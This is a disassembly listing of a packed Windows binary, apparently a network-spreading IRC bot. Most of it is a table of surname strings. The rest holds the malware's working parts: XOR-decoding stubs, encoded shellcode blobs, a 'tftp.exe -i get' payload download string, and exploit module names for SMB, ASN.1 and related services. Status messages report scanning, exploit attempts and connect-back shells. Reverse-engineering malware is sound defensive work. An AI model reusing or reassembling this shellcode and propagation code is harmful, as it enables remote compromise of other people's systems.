aConnors db 'Connors',0 ; DATA XREF: .packed:0042F050o
aCondodina db 'Condodina',0 ; DATA XREF: .packed:0042F04Co
align 4
aConcino db 'Concino',0 ; DATA XREF: .packed:0042F048o
aComstock db 'Comstock',0 ; DATA XREF: .packed:0042F044o
align 10h
aCompton db 'Compton',0 ; DATA XREF: .packed:0042F03Co
; .packed:0042F040o
aCollis db 'Collis',0 ; DATA XREF: .packed:0042F038o
align 10h
aCollard db 'Collard',0 ; DATA XREF: .packed:0042F034o
aColella db 'Colella',0 ; DATA XREF: .packed:0042F030o
aColdren db 'Coldren',0 ; DATA XREF: .packed:0042F02Co
aCoito db 'Coito',0 ; DATA XREF: .packed:0042F028o
align 10h
aCoblenz db 'Coblenz',0 ; DATA XREF: .packed:0042F024o
aClow db 'Clow',0 ; DATA XREF: .packed:0042F020o
align 10h
aClifton db 'Clifton',0 ; DATA XREF: .packed:0042F01Co
aClement db 'Clement',0 ; DATA XREF: .packed:0042F018o
aClark db 'Clark',0 ; DATA XREF: .packed:0042F014o
align 4
aClancy db 'Clancy',0 ; DATA XREF: .packed:0042F010o
align 10h
aClaffey db 'Claffey',0 ; DATA XREF: .packed:0042F00Co
aCifarelli db 'Cifarelli',0 ; DATA XREF: .packed:0042F008o
align 4
aCicero db 'Cicero',0 ; DATA XREF: .packed:0042F004o
align 4
aCiampaglia db 'Ciampaglia',0 ; DATA XREF: .packed:0042F000o
align 4
aChurch db 'Church',0 ; DATA XREF: .packed:0042EFFCo
align 10h
aChupasko db 'Chupasko',0 ; DATA XREF: .packed:0042EFF8o
align 4
aChu db 'Chu',0 ; DATA XREF: .packed:0042EFF4o
aChristopher db 'Christopher',0 ; DATA XREF: .packed:0042EFF0o
aChristie db 'Christie',0 ; DATA XREF: .packed:0042EFECo
align 4
aChristiano db 'Christiano',0 ; DATA XREF: .packed:0042EFE8o
align 4
aChristian db 'Christian',0 ; DATA XREF: .packed:0042EFE4o
align 10h
aChristenson db 'Christenson',0 ; DATA XREF: .packed:0042EFE0o
aChinman db 'Chinman',0 ; DATA XREF: .packed:0042EFDCo
aChinipardaz db 'Chinipardaz',0 ; DATA XREF: .packed:0042EFD8o
aChilds db 'Childs',0 ; DATA XREF: .packed:0042EFD4o
align 4
aChildress db 'Childress',0 ; DATA XREF: .packed:0042EFD0o
align 4
aChien db 'Chien',0 ; DATA XREF: .packed:0042EFCCo
align 4
aChiassino db 'Chiassino',0 ; DATA XREF: .packed:0042EFC8o
align 4
aChervinsky db 'Chervinsky',0 ; DATA XREF: .packed:0042EFC4o
align 4
aCherry db 'Cherry',0 ; DATA XREF: .packed:0042EFC0o
align 4
aCheang db 'Cheang',0 ; DATA XREF: .packed:0042EFBCo
align 4
aCharles db 'Charles',0 ; DATA XREF: .packed:0042EFB8o
aChapman db 'Chapman',0 ; DATA XREF: .packed:0042EFB4o
aCerioli db 'Cerioli',0 ; DATA XREF: .packed:0042EFB0o
aCeniceros db 'Ceniceros',0 ; DATA XREF: .packed:0042EFACo
align 4
aCavell db 'Cavell',0 ; DATA XREF: .packed:0042EFA8o
align 10h
aCavanagh db 'Cavanagh',0 ; DATA XREF: .packed:0042EFA4o
align 4
aCastelda db 'Castelda',0 ; DATA XREF: .packed:0042EFA0o
align 4
aCaspar db 'Caspar',0 ; DATA XREF: .packed:0042EF9Co
align 10h
aCase db 'Case',0 ; DATA XREF: .packed:0042EF98o
align 4
aCascio db 'Cascio',0 ; DATA XREF: .packed:0042EF94o
align 10h
aCartmill db 'Cartmill',0 ; DATA XREF: .packed:0042EF90o
align 4
aCarper db 'Carper',0 ; DATA XREF: .packed:0042EF8Co
align 4
aCaroti db 'Caroti',0 ; DATA XREF: .packed:0042EF88o
align 4
aCarmichael db 'Carmichael',0 ; DATA XREF: .packed:0042EF84o
align 4
aCarlyle db 'Carlyle',0 ; DATA XREF: .packed:0042EF80o
aCarlos db 'Carlos',0 ; DATA XREF: .packed:0042EF7Co
align 4
aCarlin db 'Carlin',0 ; DATA XREF: .packed:0042EF78o
align 10h
aCarayannopoulo db 'Carayannopoulos',0 ; DATA XREF: .packed:0042EF74o
aCaratozzolo db 'Caratozzolo',0 ; DATA XREF: .packed:0042EF70o
aCapursi db 'Capursi',0 ; DATA XREF: .packed:0042EF6Co
aCappuccio db 'Cappuccio',0 ; DATA XREF: .packed:0042EF68o
align 10h
aCapodilupo db 'Capodilupo',0 ; DATA XREF: .packed:0042EF64o
align 4
aCapocaccia db 'Capocaccia',0 ; DATA XREF: .packed:0042EF60o
align 4
aCaperton db 'Caperton',0 ; DATA XREF: .packed:0042EF5Co
align 4
aCapanni db 'Capanni',0 ; DATA XREF: .packed:0042EF58o
aCanley db 'Canley',0 ; DATA XREF: .packed:0042EF54o
align 4
aCammilleri db 'Cammilleri',0 ; DATA XREF: .packed:0042EF50o
align 10h
aCammelli db 'Cammelli',0 ; DATA XREF: .packed:0042EF4Co
align 4
aCalnan db 'Calnan',0 ; DATA XREF: .packed:0042EF48o
align 4
aCage db 'Cage',0 ; DATA XREF: .packed:0042EF44o
align 4
aByrd db 'Byrd',0 ; DATA XREF: .packed:0042EF40o
align 4
aByerly db 'Byerly',0 ; DATA XREF: .packed:0042EF3Co
align 4
aByatt db 'Byatt',0 ; DATA XREF: .packed:0042EF38o
align 4
aBusetta db 'Busetta',0 ; DATA XREF: .packed:0042EF34o
aBurridge db 'Burridge',0 ; DATA XREF: .packed:0042EF30o
align 4
aBurke db 'Burke',0 ; DATA XREF: .packed:0042EF2Co
align 10h
aBurdzy db 'Burdzy',0 ; DATA XREF: .packed:0042EF28o
align 4
aBurden db 'Burden',0 ; DATA XREF: .packed:0042EF24o
align 10h
aBunton db 'Bunton',0 ; DATA XREF: .packed:0042EF20o
align 4
aBullard db 'Bullard',0 ; DATA XREF: .packed:0042EF1Co
aBudding db 'Budding',0 ; DATA XREF: .packed:0042EF18o
aBuchan db 'Buchan',0 ; DATA XREF: .packed:0042EF14o
align 10h
aBrzycki db 'Brzycki',0 ; DATA XREF: .packed:0042EF10o
aBrook db 'Brook',0 ; DATA XREF: .packed:0042EF0Co
align 10h
aBroca db 'Broca',0 ; DATA XREF: .packed:0042EF08o
align 4
aBritz db 'Britz',0 ; DATA XREF: .packed:0042EF04o
align 10h
aBrinton db 'Brinton',0 ; DATA XREF: .packed:0042EF00o
aBridges db 'Bridges',0 ; DATA XREF: .packed:0042EEFCo
aBridgeman db 'Bridgeman',0 ; DATA XREF: .packed:0042EEF8o
align 4
aBrewer db 'Brewer',0 ; DATA XREF: .packed:0042EEF0o
; .packed:0042EEF4o
align 4
aBrennan db 'Brennan',0 ; DATA XREF: .packed:0042EEECo
aBrenan db 'Brenan',0 ; DATA XREF: .packed:0042EEE8o
align 4
aBreed db 'Breed',0 ; DATA XREF: .packed:0042EEE4o
align 4
aBrecht db 'Brecht',0 ; DATA XREF: .packed:0042EEE0o
align 4
aBradach db 'Bradach',0 ; DATA XREF: .packed:0042EEDCo
aBradac db 'Bradac',0 ; DATA XREF: .packed:0042EED8o
align 4
aBracalente db 'Bracalente',0 ; DATA XREF: .packed:0042EED4o
align 10h
aBoyne db 'Boyne',0 ; DATA XREF: .packed:0042EED0o
align 4
aBoym db 'Boym',0 ; DATA XREF: .packed:0042EECCo
align 10h
aBoyland db 'Boyland',0 ; DATA XREF: .packed:0042EEC8o
aBoyes db 'Boyes',0 ; DATA XREF: .packed:0042EEC4o
align 10h
aBoyajian db 'Boyajian',0 ; DATA XREF: .packed:0042EEC0o
align 4
aBoxer db 'Boxer',0 ; DATA XREF: .packed:0042EEBCo
align 4
aBowers db 'Bowers',0 ; DATA XREF: .packed:0042EEB8o
align 4
aBourneuf db 'Bourneuf',0 ; DATA XREF: .packed:0042EEB4o
align 4
aBoudrot db 'Boudrot',0 ; DATA XREF: .packed:0042EEB0o
aBoudin db 'Boudin',0 ; DATA XREF: .packed:0042EEACo
align 4
aBotosh db 'Botosh',0 ; DATA XREF: .packed:0042EEA8o
align 10h
aBothman db 'Bothman',0 ; DATA XREF: .packed:0042EEA4o
aBossi db 'Bossi',0 ; DATA XREF: .packed:0042EEA0o
align 10h
aBorden db 'Borden',0 ; DATA XREF: .packed:0042EE9Co
align 4
aBorack db 'Borack',0 ; DATA XREF: .packed:0042EE98o
align 10h
aBoorstin db 'Boorstin',0 ; DATA XREF: .packed:0042EE94o
align 4
aBoone db 'Boone',0 ; DATA XREF: .packed:0042EE90o
align 4
aBookbinder db 'Bookbinder',0 ; DATA XREF: .packed:0042EE8Co
align 10h
aBook db 'Book',0 ; DATA XREF: .packed:0042EE88o
align 4
aBontempo db 'Bontempo',0 ; DATA XREF: .packed:0042EE84o
align 4
aBoniface db 'Boniface',0 ; DATA XREF: .packed:0042EE80o
align 10h
aBonham db 'Bonham',0 ; DATA XREF: .packed:0042EE7Co
align 4
aBoner db 'Boner',0 ; DATA XREF: .packed:0042EE78o
align 10h
aBologna db 'Bologna',0 ; DATA XREF: .packed:0042EE74o
aBollinger db 'Bollinger',0 ; DATA XREF: .packed:0042EE70o
align 4
aBolick db 'Bolick',0 ; DATA XREF: .packed:0042EE6Co
align 4
aBolger db 'Bolger',0 ; DATA XREF: .packed:0042EE68o
align 4
aBlyth db 'Blyth',0 ; DATA XREF: .packed:0042EE64o
align 4
aBloxham db 'Bloxham',0 ; DATA XREF: .packed:0042EE60o
aBloemhof db 'Bloemhof',0 ; DATA XREF: .packed:0042EE5Co
align 10h
aBloembergen db 'Bloembergen',0 ; DATA XREF: .packed:0042EE58o
aBloch db 'Bloch',0 ; DATA XREF: .packed:0042EE54o
align 4
aBlizard db 'Blizard',0 ; DATA XREF: .packed:0042EE50o
aBliss db 'Bliss',0 ; DATA XREF: .packed:0042EE4Co
align 4
aBlanke db 'Blanke',0 ; DATA XREF: .packed:0042EE48o
align 4
aBlakemore db 'Blakemore',0 ; DATA XREF: .packed:0042EE44o
align 4
aBlagg db 'Blagg',0 ; DATA XREF: .packed:0042EE40o
align 10h
aBlackwell db 'Blackwell',0 ; DATA XREF: .packed:0042EE3Co
align 4
aBlackbourn db 'Blackbourn',0 ; DATA XREF: .packed:0042EE38o
align 4
aBisho db 'Bisho',0 ; DATA XREF: .packed:0042EE34o
align 10h
aBisema db 'Bisema',0 ; DATA XREF: .packed:0042EE30o
align 4
aBir db 'Bir',0 ; DATA XREF: .packed:0042EE2Co
aBinion db 'Binion',0 ; DATA XREF: .packed:0042EE28o
align 4
aBickel db 'Bickel',0 ; DATA XREF: .packed:0042EE24o
align 4
aBiagioli db 'Biagioli',0 ; DATA XREF: .packed:0042EE20o
align 4
aBeynart db 'Beynart',0 ; DATA XREF: .packed:0042EE1Co
aBetti db 'Betti',0 ; DATA XREF: .packed:0042EE18o
align 4
aBerrizbeitia db 'Berrizbeitia',0 ; DATA XREF: .packed:0042EE14o
align 4
aBernston db 'Bernston',0 ; DATA XREF: .packed:0042EE10o
align 4
aBernassola db 'Bernassola',0 ; DATA XREF: .packed:0042EE0Co
align 10h
aBernardo db 'Bernardo',0 ; DATA XREF: .packed:0042EE08o
align 4
aBerkeJenkins db 'Berke-Jenkins',0 ; DATA XREF: .packed:0042EE04o
align 4
aBergson db 'Bergson',0 ; DATA XREF: .packed:0042EE00o
aBenedictDye db 'Benedict-Dye',0 ; DATA XREF: .packed:0042EDFCo
align 4
aBelloc db 'Belloc',0 ; DATA XREF: .packed:0042EDF8o
align 4
aBellini db 'Bellini',0 ; DATA XREF: .packed:0042EDF4o
aBellhouse db 'Bellhouse',0 ; DATA XREF: .packed:0042EDF0o
align 10h
aBellavance db 'Bellavance',0 ; DATA XREF: .packed:0042EDECo
align 4
aBelinCollart db 'Belin-Collart',0 ; DATA XREF: .packed:0042EDE8o
align 4
aBelfer db 'Belfer',0 ; DATA XREF: .packed:0042EDE4o
align 4
aBelaoussof db 'Belaoussof',0 ; DATA XREF: .packed:0042EDE0o
align 10h
aBelanger db 'Belanger',0 ; DATA XREF: .packed:0042EDDCo
align 4
aBehenna db 'Behenna',0 ; DATA XREF: .packed:0042EDD8o
aBedford db 'Bedford',0 ; DATA XREF: .packed:0042EDD4o
aBeder db 'Beder',0 ; DATA XREF: .packed:0042EDD0o
align 4
aBeckman db 'Beckman',0 ; DATA XREF: .packed:0042EDCCo
aBean db 'Bean',0 ; DATA XREF: .packed:0042EDC8o
align 4
aBeal db 'Beal',0 ; DATA XREF: .packed:0042EDC4o
align 4
aBeacon db 'Beacon',0 ; DATA XREF: .packed:0042EDC0o
align 4
aBayo db 'Bayo',0 ; DATA XREF: .packed:0042EDBCo
align 4
aBayles db 'Bayles',0 ; DATA XREF: .packed:0042EDB8o
align 4
aBaumiller db 'Baumiller',0 ; DATA XREF: .packed:0042EDB4o
align 10h
aBatchelder db 'Batchelder',0 ; DATA XREF: .packed:0042EDB0o
align 4
aBashevis db 'Bashevis',0 ; DATA XREF: .packed:0042EDACo
align 4
aBasavappa db 'Basavappa',0 ; DATA XREF: .packed:0042EDA8o
align 4
aBartoo db 'Bartoo',0 ; DATA XREF: .packed:0042EDA4o
align 4
aBartolome db 'Bartolome',0 ; DATA XREF: .packed:0042EDA0o
align 4
aBartholomew db 'Bartholomew',0 ; DATA XREF: .packed:0042ED9Co
aBarry db 'Barry',0 ; DATA XREF: .packed:0042ED98o
align 4
aBarriola db 'Barriola',0 ; DATA XREF: .packed:0042ED94o
align 4
aBarnett db 'Barnett',0 ; DATA XREF: .packed:0042ED90o
aBarneson db 'Barneson',0 ; DATA XREF: .packed:0042ED8Co
align 4
aBarbetti db 'Barbetti',0 ; DATA XREF: .packed:0042ED88o
align 4
aBarberi db 'Barberi',0 ; DATA XREF: .packed:0042ED84o
aBaranowska db 'Baranowska',0 ; DATA XREF: .packed:0042ED80o
align 4
aBaranczak db 'Baranczak',0 ; DATA XREF: .packed:0042ED7Co
align 4
aBarajas db 'Barajas',0 ; DATA XREF: .packed:0042ED78o
aBarabesi db 'Barabesi',0 ; DATA XREF: .packed:0042ED74o
align 4
aBanta db 'Banta',0 ; DATA XREF: .packed:0042ED70o
align 4
aBaltz db 'Baltz',0 ; DATA XREF: .packed:0042ED6Co
align 4
aBallew db 'Ballew',0 ; DATA XREF: .packed:0042ED68o
align 4
aBallatori db 'Ballatori',0 ; DATA XREF: .packed:0042ED64o
align 10h
aBaleja db 'Baleja',0 ; DATA XREF: .packed:0042ED60o
align 4
aBakanowsky db 'Bakanowsky',0 ; DATA XREF: .packed:0042ED5Co
align 4
aBailar db 'Bailar',0 ; DATA XREF: .packed:0042ED58o
align 4
aBagnold db 'Bagnold',0 ; DATA XREF: .packed:0042ED54o
aBaglivo db 'Baglivo',0 ; DATA XREF: .packed:0042ED50o
aBady db 'Bady',0 ; DATA XREF: .packed:0042ED4Co
align 4
aBackus db 'Backus',0 ; DATA XREF: .packed:0042ED48o
align 4
aBachmuth db 'Bachmuth',0 ; DATA XREF: .packed:0042ED44o
align 4
aAzima db 'Azima',0 ; DATA XREF: .packed:0042ED40o
align 10h
aAyling db 'Ayling',0 ; DATA XREF: .packed:0042ED3Co
align 4
aAykroyd db 'Aykroyd',0 ; DATA XREF: .packed:0042ED38o
aAyiemba db 'Ayiemba',0 ; DATA XREF: .packed:0042ED34o
aAxworthy db 'Axworthy',0 ; DATA XREF: .packed:0042ED30o
align 4
aAxelrod db 'Axelrod',0 ; DATA XREF: .packed:0042ED2Co
aAurelius db 'Aurelius',0 ; DATA XREF: .packed:0042ED28o
align 4
aAugustus db 'Augustus',0 ; DATA XREF: .packed:0042ED24o
align 4
aAtkins db 'Atkins',0 ; DATA XREF: .packed:0042ED20o
align 4
aArky db 'Arky',0 ; DATA XREF: .packed:0042ED1Co
align 4
aArjas db 'Arjas',0 ; DATA XREF: .packed:0042ED18o
align 4
aAristotle db 'Aristotle',0 ; DATA XREF: .packed:0042ED14o
align 4
aArellano db 'Arellano',0 ; DATA XREF: .packed:0042ED10o
align 4
aArduini db 'Arduini',0 ; DATA XREF: .packed:0042ED0Co
aArbia db 'Arbia',0 ; DATA XREF: .packed:0042ED08o
align 4
aAntos db 'Antos',0 ; DATA XREF: .packed:0042ED04o
align 4
aAnthony db 'Anthony',0 ; DATA XREF: .packed:0042ED00o
aAnsley db 'Ansley',0 ; DATA XREF: .packed:0042ECFCo
align 4
aAnfinrud db 'Anfinrud',0 ; DATA XREF: .packed:0042ECF8o
align 4
aAndron db 'Andron',0 ; DATA XREF: .packed:0042ECF4o
align 10h
aAndrelus db 'Andrelus',0 ; DATA XREF: .packed:0042ECF0o
align 4
aAndo db 'Ando',0 ; DATA XREF: .packed:0042ECECo
align 4
aAndel db 'Andel',0 ; DATA XREF: .packed:0042ECE8o
align 4
aAnand db 'Anand',0 ; DATA XREF: .packed:0042ECE4o
align 4
aAmsden db 'Amsden',0 ; DATA XREF: .packed:0042ECE0o
align 4
aAmeer db 'Ameer',0 ; DATA XREF: .packed:0042ECDCo
align 4
aAmatangelo db 'Amatangelo',0 ; DATA XREF: .packed:0042ECD8o
align 10h
aAmaral db 'Amaral',0 ; DATA XREF: .packed:0042ECD4o
align 4
aAltenhofen db 'Altenhofen',0 ; DATA XREF: .packed:0042ECD0o
align 4
aAltenberger db 'Altenberger',0 ; DATA XREF: .packed:0042ECCCo
aAltavilla db 'Altavilla',0 ; DATA XREF: .packed:0042ECC8o
align 4
aAlongi db 'Alongi',0 ; DATA XREF: .packed:0042ECC4o
align 4
aAllison db 'Allison',0 ; DATA XREF: .packed:0042ECC0o
aAleks db 'Aleks',0 ; DATA XREF: .packed:0042ECBCo
align 4
aAlda db 'Alda',0 ; DATA XREF: .packed:0042ECB8o
align 4
aAlcorn db 'Alcorn',0 ; DATA XREF: .packed:0042ECB4o
align 4
aAlavi db 'Alavi',0 ; DATA XREF: .packed:0042ECB0o
align 4
aAhlers db 'Ahlers',0 ; DATA XREF: .packed:0042ECACo
align 4
aAdorno db 'Adorno',0 ; DATA XREF: .packed:0042ECA8o
align 4
aAdibe db 'Adibe',0 ; DATA XREF: .packed:0042ECA4o
align 4
aAdelstein db 'Adelstein',0 ; DATA XREF: .packed:0042ECA0o
align 10h
aAddison db 'Addison',0 ; DATA XREF: .packed:0042EC9Co
aAdams db 'Adams',0 ; DATA XREF: .packed:0042EC98o
align 10h
aAckerman db 'Ackerman',0 ; DATA XREF: .packed:0042EC94o
align 4
aAbdulrazak db 'Abdulrazak',0 ; DATA XREF: .packed:off_42EC90o
align 4
aPc db 'PC',0 ; DATA XREF: .packed:0040ACF1o
align 4
aS_3 db '%s|',0 ; DATA XREF: .packed:0040AD72o
aS_4 db '[%s]|',0 ; DATA XREF: .packed:0040AE7Co
align 4
a??? db '???',0 ; DATA XREF: .packed:loc_40AE73o
; sub_41B1FC:loc_41B2BFo
a2k3 db '2K3',0 ; DATA XREF: .packed:0040AE6Co
aXp_0 db 'XP',0 ; DATA XREF: .packed:0040AE5Eo
; sub_41B1FC+AAo
align 4
a2k db '2K',0 ; DATA XREF: .packed:0040AE4Eo
; sub_41B1FC+98o
align 4
aMe_0 db 'ME',0 ; DATA XREF: .packed:0040AE35o
; sub_41B1FC+7Eo
align 4
a98 db '98',0 ; DATA XREF: .packed:0040AE25o
; sub_41B1FC+6Co
align 10h
aNt_1 db 'NT',0 ; DATA XREF: .packed:0040AE15o
; sub_41B1FC+5Ao
align 4
a95 db '95',0 ; DATA XREF: .packed:0040AE07o
; sub_41B1FC+46o
align 4
aD_2 db '[%d]',0 ; DATA XREF: sub_40AEC2+1Bo
align 10h
jmp short loc_432924
; ---------------------------------------------------------------------------
loc_432922: ; CODE XREF: .packed:loc_432924p
jmp short loc_432929
; ---------------------------------------------------------------------------
loc_432924: ; CODE XREF: .packed:00432920j
call loc_432922
loc_432929: ; CODE XREF: .packed:loc_432922j
pop ebx
xor ecx, ecx
mov cx, 0FFFFh
loc_432930: ; CODE XREF: .packed:00432935j
xor byte ptr [ebx+0Eh], 0FFh
inc ebx
loop loc_432930
add bl, ch
add ch, bl
add eax, 0FFFFF9E8h
call fword ptr [ebx+31h]
leave
mov cl, 0FFh
loc_432946: ; CODE XREF: .packed:0043294Bj
xor byte ptr [ebx+0Ch], 0FFh
inc ebx
loop loc_432946
; ---------------------------------------------------------------------------
db 3 dup(0)
dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h
dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dd 12h
aTftp_exeIGet db 'tftp.exe -i get ',0
; ---------------------------------------------------------------------------
push 0
call sub_4329E8
jnz short loc_4329D4
retn
; ---------------------------------------------------------------------------
loc_4329D4: ; CODE XREF: .packed:004329D1j
; .packed:004329E1j
call near ptr loc_4329D9+1
loc_4329D9: ; CODE XREF: .packed:loc_4329D4p
add [edx+0], ch
call sub_4329E8
jz loc_4329D4
retn
; =============== S U B R O U T I N E =======================================
sub_4329E8 proc near ; CODE XREF: .packed:004329CCp
; .packed:004329DCp
pop eax
pop ebx
pop ebp
push eax
sub esp, 54h
xor eax, eax
mov edi, esp
lea ecx, [eax+40h]
mov edx, edi
rep stosb
mov al, 44h
stosd
push edi
push edx
push ecx
push ecx
push 28h
push 1
push ecx
push ecx
push ebp
push ebx
call esi
add esp, 54h
test eax, eax
retn
sub_4329E8 endp
; ---------------------------------------------------------------------------
align 4
dword_432A14 dd 234032Dh, 65726874h, 6C206461h, 2747369h, 202D03h
; DATA XREF: sub_40B04A+10o
aSNoSThreadFoun db '%s No %s thread found.',0 ; DATA XREF: sub_40B215+51o
align 10h
aSSStopped_DThr db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B215+35o
align 4
aSym db 'sym',0 ; DATA XREF: sub_40B71C+4Fo
; sub_40BFAA+155o
dd 0
db 2 dup(0)
aSymantec db 'Symantec',0 ; DATA XREF: sub_40B656+30o
align 4
dd 5 dup(0)
dword_432A90 dd 0B97h ; sub_401B66+1CEFo ...
off_432A94 dd offset sub_40E80D ; DATA XREF: sub_40BFAA+1D7r
dword_432A98 dd 0 ; .packed:0040D2F9r ...
dword_432A9C dd 1 dword_432AA0 dd 1 dword_432AA4 dd 0 dd 636E76h, 0
dd 6E760000h, 63h, 6 dup(0)
dd 170Ch, 40EA05h, 0
dd 1, 2 dup(0)
aNet1 db 'net1',0
align 10h
dd 654E0000h, 69706174h, 393331h, 5 dup(0)
dd 8Bh, 40DDC4h, 0
dd 1, 2 dup(0)
dd 2D74656Eh, 31h, 654E0000h, 69706174h, 353434h, 5 dup(0)
dd 1BDh, 40DDC4h, 0
dd 1, 2 dup(0)
aNet2 db 'net2',0
align 10h
dd 654E0000h, 69706174h, 393331h, 5 dup(0)
dd 8Bh, 40E2B0h, 0
dd 1, 2 dup(0)
dd 2D74656Eh, 32h, 654E0000h, 69706174h, 353434h, 5 dup(0)
dd 1BDh, 40E2B0h, 0
dd 1, 2 dup(0)
aNet3 db 'net3',0
align 10h
dd 454E0000h, 49504154h, 6 dup(0)
dd 8Bh, 40E6CDh, 0
dd 1, 2 dup(0)
dd 2D74656Eh, 33h, 454E0000h, 49504154h, 6 dup(0)
dd 1BDh, 40E6CDh, 0
dd 1, 2 dup(0)
aXmass db 'xmass',0
align 10h
dd 616C0000h, 3331646Eh, 39h, 5 dup(0)
dd 8Bh, 40D6F8h, 0
dd 2 dup(1), 0
aAsn1http db 'asn1http',0
align 2
aAsn_1Http db 'ASN.1-HTTP',0
align 10h
dd 4 dup(0)
dd 50h, 40D13Dh, 0
dd 2 dup(1), 0
aAsn1smb db 'asn1smb',0
dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
dd 1BDh, 40D13Dh, 0
dd 2 dup(1), 0
aAsn1smbnt db 'asn1smbnt',0
aAsn_1SmbNt db 'ASN.1-SMB NT',0
align 10h
dd 4 dup(0)
dd 8Bh, 40D13Dh, 0
dd 2 dup(1), 2 dup(0)
dd 10100h, 0Eh dup(0)
aNet1_0 db 'net1',0
align 10h
db 2 dup(0)
byte_432DB2 db 1 ; DATA XREF: sub_401B66:loc_4037A5r
; sub_401B66+1C49o
aNet2_0 db 'net2',0
dd 0
dd 656E0100h, 3374h, 0
dd 1, 3 dup(0)
; ---------------------------------------------------------------------------
jmp short loc_432DEA
; =============== S U B R O U T I N E =======================================
sub_432DDA proc near ; CODE XREF: sub_432DDA:loc_432DEAp
pop edx
dec edx
xor ecx, ecx
mov cx, 166h
loc_432DE2: ; CODE XREF: sub_432DDA+Cj
xor byte ptr [edx+ecx], 99h
loop loc_432DE2
jmp short loc_432DEF
; ---------------------------------------------------------------------------
loc_432DEA: ; CODE XREF: .packed:00432DD8j
call sub_432DDA
loc_432DEF: ; CODE XREF: sub_432DDA+Ej
jo short near ptr dword_432D6C+1Eh
cwde
cdq
cdq
retn
sub_432DDA endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 21h, 95h, 69h
dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah
dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h
dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh
dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_40B4C9+85o
align 4
dword_432F6C dd 25370320h, 203A0373h, 2C6425hunk_432F78 db 2Dh ; - ; DATA XREF: sub_40B4C9+11o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aExploitStatist db 'Exploit Statistics:',0
unk_432F98 db 2Dh ; - ; DATA XREF: sub_40B597+37o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
db 54h ; T
db 72h, 61h, 6Eh
db 73h ; s
db 66h, 65h, 72h
db 20h
db 53h, 74h, 61h
db 74h ; t
db 69h, 73h, 74h
db 69h ; i
db 63h, 73h, 3Ah
db 20h
db 2, 54h, 46h
db 54h ; T
db 50h, 2, 3Ah
db 20h
db 25h, 64h, 2Ch
db 20h
db 2, 46h, 54h
db 50h ; P
db 2, 3Ah, 20h
aDTotalDInS_ db '%d, Total %d in %s.',0
unk_432FE0 db 2Dh ; - ; DATA XREF: sub_40B602+21o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aDConnectbackSh db '%d connectback shells in %s.',0
align 4
aScanTimeS_ db ' Scan Time: %s.',0 ; DATA XREF: sub_40B656+7Eo
dword_43301C dd 25370320h, 28200373h, 73253403h, 2C2903hdword_43302C dd 234032Dh, 6E616373h, 202D0302h, 6C707845h, 2074696Fh
; DATA XREF: sub_40B656+14o
dd 7473694Ch, 3Ah
unk_433048 db 2Dh ; - ; DATA XREF: sub_40B71C+16Fo
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
aFinishedExploi db '- finished exploiting %s (%d attempts)',0
unk_43307C db 2Dh ; - ; DATA XREF: sub_40B71C+80o
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
db 2Dh, 20h, 74h
db 72h ; r
db 79h, 69h, 6Eh
db 67h ; g
db 20h, 2, 25h
db 73h ; s
db 2, 20h, 6Fh
aNSPortD___ db 'n %s (port %d)...',0
align 4
unk_4330AC db 2Dh ; - ; DATA XREF: sub_40B8CE+42o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aScanNotActive_ db 'Scan not active.',0
align 4
unk_4330CC db 2Dh ; - ; DATA XREF: sub_40B8CE+2Co
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aCurrentIpS_ db 'Current IP: %s.',0
unk_4330E8 db 2Dh ; - ; DATA XREF: sub_40B945+4C5o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
